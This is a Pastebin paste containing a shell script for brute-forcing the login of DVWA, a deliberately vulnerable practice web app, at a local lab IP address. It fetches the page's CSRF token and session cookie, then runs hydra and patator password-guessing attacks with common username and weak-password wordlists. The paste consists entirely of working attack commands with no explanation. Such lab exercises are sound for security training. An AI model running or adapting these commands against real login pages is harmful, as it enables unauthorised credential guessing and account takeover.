Advertisement
anonymousvntk

File 1

Mar 5th, 2016
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.93 KB | None | 0 0
  1. CSRF=$(curl -s -c dvwa.cookie "192.168.1.44/DVWA/login.php" | awk -F 'value=' '/user_token/ {print $2}' | cut -d "'" -f2)
  2. SESSIONID=$(grep PHPSESSID dvwa.cookie | awk -F ' ' '{print $7}')
  3.  
  4. hydra  -L /usr/share/seclists/Usernames/top_shortlist.txt  -P /usr/share/seclists/Passwords/500-worst-passwords.txt \
  5.   -e ns  -F  -u  -t 1  -w 10  -V  192.168.1.44  http-post-form \
  6.   "/DVWA/login.php:username=^USER^&password=^PASS^&user_token=${CSRF}&Login=Login:S=Location\: index.php:H=Cookie: security=impossible; PHPSESSID=${SESSIONID}"
  7.  
  8. patator  http_fuzz  method=POST  follow=0  accept_cookie=0 --threads=1  timeout=10 \
  9.   url="http://192.168.1.44/DVWA/login.php" \
  10.   1=/usr/share/seclists/Usernames/top_shortlist.txt  0=/usr/share/seclists/Passwords/500-worst-passwords.txt \
  11.   body="username=FILE1&password=FILE0&user_token=${CSRF}&Login=Login" \
  12.   header="Cookie: security=impossible; PHPSESSID=${SESSIONID}" \
  13.   -x quit:fgrep=index.php
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement